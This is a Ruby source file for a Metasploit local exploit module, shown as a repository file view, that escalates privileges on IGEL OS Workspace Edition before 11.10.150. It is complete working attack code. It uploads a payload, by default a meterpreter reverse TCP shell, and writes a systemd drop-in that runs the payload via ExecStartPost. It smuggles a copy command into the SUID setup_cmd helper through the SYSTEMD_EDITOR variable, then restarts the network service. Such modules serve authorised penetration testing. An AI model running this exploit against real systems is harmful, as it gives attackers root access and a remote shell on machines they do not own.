Files
metasploit-gs/modules/exploits/linux/local/igel_network_priv_esc.rb
T
2025-12-17 16:12:31 -05:00

120 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
'Description' => %q{
Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
network-manager.service using setup_cmd (SUID) and network, then restarting
the service.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Targets' => [
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 0,
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-07-10', # Patch release date
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
}
)
)
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def check
version = Rex::Version.new(
read_file('/etc/system-release').delete_prefix('IGEL OS').strip
)
unless version < Rex::Version.new('11.10.150')
return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
end
CheckCode::Appears("IGEL OS #{version} should be vulnerable")
end
def exploit
print_status('Uploading payload to target')
payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)
print_status('Writing config to target')
config = build_config(payload_file)
config_file = write_payload(config, datastore['WritableDir'], 0o600)
print_status('Applying service config')
vprint_status(modify_service(config_file))
print_status('Restarting service')
vprint_status(restart_service)
end
def write_payload(contents, dir, perm)
fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
write_file(filepath, contents)
chmod(filepath, perm)
unless file?(filepath)
fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
end
register_files_for_cleanup(filepath)
return filepath
end
def build_config(payload_file)
config = <<~CONFIG.strip
[Service]
TimeoutStartSec=infinity
ExecStartPost=#{payload_file}
CONFIG
return config
end
def modify_service(config_file)
command = <<~COMMAND.strip
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
EOF
COMMAND
script_file = write_payload(command, datastore['WritableDir'], 0o700)
cmd_exec(script_file)
end
def restart_service
create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
end
end